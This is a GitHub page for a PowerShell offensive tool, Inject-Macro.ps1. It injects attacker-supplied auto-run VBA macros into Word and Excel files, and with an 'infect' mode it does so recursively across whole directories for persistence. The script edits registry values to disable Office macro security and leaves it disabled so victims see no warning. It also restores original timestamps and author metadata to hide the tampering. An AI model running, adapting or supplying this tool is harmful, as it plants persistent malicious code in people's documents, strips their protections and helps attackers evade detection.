-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathInject-Macro.ps1
executable file
·319 lines (256 loc) · 10.3 KB
/
Inject-Macro.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
function Inject-Macro {
<#
.SYNOPSIS
Inject VBA macro code into Excel and Word documents.
Author: Brandan Geise (coldfusion)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Injects the supplied VBA macro code into the specified '.xls' Excel or '.doc' Word document.
Ideally this would be used to establish a low level form of persistence.
If the '-Infect' flag is given, the supplied VBA macro code will be injected into all Excel or Word documents in the specified '-Doc' directory path.
The script will read the first line of the supplied VBA macro code and look for 'Auto_Open' or 'AutoOpen'. Excel uses 'Sub Auto_Open()' to automatically run macro code when the documet is opened; Word uses 'Sub AutoOpen()'. This will determine if the VBA macro code will be injected into Excel or Word documents.
The VBA 'Security' registry keys are not re-enabled on exit when the '-Infect' flag is given, which removes the 'Macros have been disabled.' warning.
For clean up, all injected documents' full paths are written to $env:temp\inject.log.
If the '-Clean' flag is given, the VBA macro code will be removed from the documents and the registry keys will be re-enabled.
.PARAMETER Doc
Path of the target Excel or Word document, or a directory path.
.PARAMETER Macro
Path of the VBA macro file you want injected into Excel or Word documents.
.PARAMETER Infect
Inject VBA macro code into all '.xls' Excel or '.doc' Word documents found in the specified '-Doc' directory.
.PARAMETER Clean
Remove the VBA macro code from all Excel or Word documents that were injected with the '-Infect' flag.
.EXAMPLE
C:\PS> Inject-Macro -Doc C:\Users\Test\Excel.xls -Macro C:\temp\excel_macro
Description
-----------
Inject the VBA macro 'excel_macro' into the Excel document 'Excel.xls'
.EXAMPLE
C:\PS> Inject-Macro -Doc C:\Users\Test\Word.doc -Macro C:\temp\word_macro
Description
-----------
Injects the VBA macro 'word_macro' into the Word document 'Word.doc'
.EXAMPLE
C:\PS> Inject-Macro -Doc C:\Users\ -Macro C:\temp\macro -Infect
Description
-----------
Injects the VBA macro 'macro' into all Excel or Word documents found in 'C:\Users\' recursively.
.EXAMPLE
C:\PS> Inject-Macro -Clean
Description
-----------
Removes the VBA macro code from all documents found in 'inject.log'.
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $False)]
[String]
$Doc,
[Parameter(Mandatory = $False)]
[String]
$Macro,
[Parameter(Mandatory = $False)]
[Switch]
$Infect = $False,
[Parameter(Mandatory = $False)]
[Switch]
$Clean = $False
)
function Inject ([String] $Doc, [String] $Macro, [Switch] $Self, [Switch] $Clean) {
# Excel document handling
if ($Doc -like '*.xls') {
# Create Excel objects
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$EXCEL = New-Object -ComObject Excel.Application
$EXCEL.AutomationSecurity = 'msoAutomationSecurityForceDisable'
$ExcelVersion = $EXCEL.Version
# Disable macro security
Registry-Switch -Format excel -State disable
$EXCEL.DisplayAlerts = 'wdAlertsNone'
$EXCEL.DisplayAlerts = $False
$EXCEL.Visible = $False
$EXCEL.ScreenUpdating = $False
$EXCEL.UserControl = $False
$EXCEL.Interactive = $False
# Get original document metadata
$LAT = $($(Get-Item $Doc).LastAccessTime).ToString('M/d/yyyy h:m tt')
$LWT = $($(Get-Item $Doc).LastWriteTime).ToString('M/d/yyyy h:m tt')
$Book = $EXCEL.Workbooks.Open($Doc, $Null, $Null, 1, "")
$Author = $Book.Author
if ($Clean) {
# Remove VBA macros
ForEach ($Module in $Book.VBProject.VBComponents) {
if ($Module.Name -like "Module*") {
$Book.VBProject.VBComponents.Remove($Module)
}
}
} elseif ($Self) {
$VBA = $Book.VBProject.VBComponents.Add(1)
$VBA.CodeModule.AddFromFile($Macro) | Out-Null
$RemoveMetadata = 'Microsoft.Office.Interop.Excel.XlRemoveDocInfoType' -as [type]
$Book.RemoveDocumentInformation($RemoveMetadata::xlRDIAll)
} else {
$VBA = $Book.VBProject.VBComponents.Add(1)
$VBA.CodeModule.AddFromFile($Macro) | Out-Null
$Book.Author = $Author
}
# Save the document
$Book.SaveAs("$Doc", [Microsoft.Office.Interop.Excel.xlFileFormat]::xlExcel8)
$EXCEL.Workbooks.Close()
if (($Clean) -or ($Self)) {
# Enable macro security
Registry-Switch -Format excel -State enable
} else {
# Re-write original document metadata
$(Get-Item $Doc).LastAccessTime = $LAT
$(Get-Item $Doc).LastWriteTime = $LWT
# Write to file for clean up
$Doc | Add-Content $env:temp'\inject.log'
}
# Exit Excel
$EXCEL.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($EXCEL) | out-null
$EXCEL = $Null
if (PS excel) {
kill -name excel
}
# Word document handling
} else {
# Create Word objects
Add-Type -AssemblyName Microsoft.Office.Interop.Word
$WORD = New-Object -ComObject Word.Application
$WORD.AutomationSecurity = 'msoAutomationSecurityForceDisable'
$WordVersion = $WORD.Version
# Disable macro security
Registry-Switch -Format word -State disable
$WORD.DisplayAlerts = [Microsoft.Office.Interop.Word.wdAlertLevel]::wdAlertsNone
$WORD.Visible = $False
$WORD.ScreenUpdating = $False
# Get original document metadata
$LAT = $($(Get-Item $Doc).LastAccessTime).ToString('M/d/yyyy h:m tt')
$LWT = $($(Get-Item $Doc).LastWriteTime).ToString('M/d/yyyy h:m tt')
$Book = $WORD.Documents.Open($Doc, $False, $False, $False, "")
if ($Clean) {
# Remove VBA macros (for some reason Word is weird)
$Count = 1
ForEach ($Module in $Book.VBProject.VBComponents) {
if ($Module.Name -like "Module*") {
$CodeModule = $Book.VBProject.VBComponents.Item($Count).CodeModule
$LineCount = $CodeModule.CountOfLines
if ($LineCount -gt 0) {
$CodeModule.DeleteLines(1, $LineCount)
}
}
$Count = $($Count + 1)
}
} elseif ($Self) {
$VBA = $Book.VBProject.VBComponents.Add(1)
$VBA.CodeModule.AddFromFile($Macro) | Out-Null
$RemoveMetadata = 'Microsoft.Office.Interop.Word.WdRemoveDocInfoType' -as [type]
$Book.RemoveDocumentInformation($RemoveMetadata::wdRDIAll)
} else {
$VBA = $Book.VBProject.VBComponents.Add(1)
$VBA.CodeModule.AddFromFile($Macro) | Out-Null
}
# Save the document
$Book.SaveAs([REF]"$Doc")
$Book.Close()
if (($Clean) -or ($Self)) {
# Enable macro security
Registry-Switch -Format word -State enable
} else {
# Re-write original document metadata
$(Get-Item $Doc).LastAccessTime = $LAT
$(Get-Item $Doc).LastWriteTime = $LWT
# Write to file for clean up
$Doc | Add-Content $env:temp'\inject.log'
}
# Exit Word
$WORD.Application.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($WORD) | out-null
$WORD = $Null
if (PS winword) {
kill -name winword
}
}
}
# Handle enabling and disabling VBA security registry keys
function Registry-Switch ([String] $Format, [String] $State) {
if ($Format -eq 'excel') {
$EXCEL = New-Object -ComObject Excel.Application
$ExcelVersion = $EXCEL.Version
$RegPath = "$ExcelVersion\Excel"
} else {
$WORD = New-Object -ComObject Word.Application
$WordVersion = $WORD.Version
$RegPath = "$WordVersion\Word"
}
$AccessValue = (Get-ItemProperty HKCU:\Software\Microsoft\Office\$RegPath\Security).AccessVBOM
$WarningValue = (Get-ItemProperty HKCU:\Software\Microsoft\Office\$RegPath\Security).VBAWarnings
if ($State -eq 'enable') {
if (($AccessValue -ne 0) -or ($WarningValue -ne 0)) {
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
} elseif ($State -eq 'disable') {
if (($AccessValue -ne 1) -or ($WarningValue -ne 1)) {
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
}
}
}
# Resolve full paths
if ($Doc -and $Macro) {
$Doc = (Resolve-Path $Doc).Path
$Macro = (Resolve-Path $Macro).Path
}
# Actually do things...
if ($PSBoundParameters['Clean']) {
if (Test-Path $env:temp'\inject.log' -PathType Leaf) {
Get-Content $env:temp'\inject.log' | Foreach-Object {
$Doc = $_
Inject $Doc -Clean
Write-Host "Macro removed from $Doc"
}
Remove-Item $env:temp'\inject.log'
Write-Host 'Injected macros have been removed from all documents' -foregroundcolor green
} else {
Write-Host 'Could not find inject.log file!' -foregroundcolor red
break
}
} elseif ($PSBoundParameters['Infect']) {
if (Test-Path $Doc -pathType container) {
# Get first line of VBA code
$VBAStart = (Get-Content $Macro -totalcount 1).ToLower()
if ($VBAStart -match 'auto_open') {
Write-Host 'Injecting Excel documents with macro...'
$Documents = Get-ChildItem -Path $Doc -include *.xls -recurse
} elseif ($VBAStart -match 'autoopen') {
Write-Host 'Injecting Word documents with macro...'
$Documents = Get-ChildItem -Path $Doc -include *.doc -recurse
} else {
Write-Host "Could not find 'Sub Auto_Open()' or 'Sub AutoOpen()' in macro file!" -foregroundcolor red
break
}
ForEach ($Document in $Documents) {
try {
Inject $Document $Macro
Write-Host "Macro sucessfully injected into $Document"
} catch {
continue
}
}
Write-Host 'Macro has been injected into all documents' -foregroundcolor green
} else {
Write-Host 'Please provide a valid directory path!' -foregroundcolor red
break
}
} elseif (Test-Path $Doc -PathType Leaf) {
Inject $Doc $Macro -Self
Write-Host "Macro sucessfully injected into $Doc"
Write-Warning 'Remember, the injected VBA macro is NOT password protected!'
} else {
Write-Host 'Please provide a valid .xls or .doc file!' -foregroundcolor red
}
}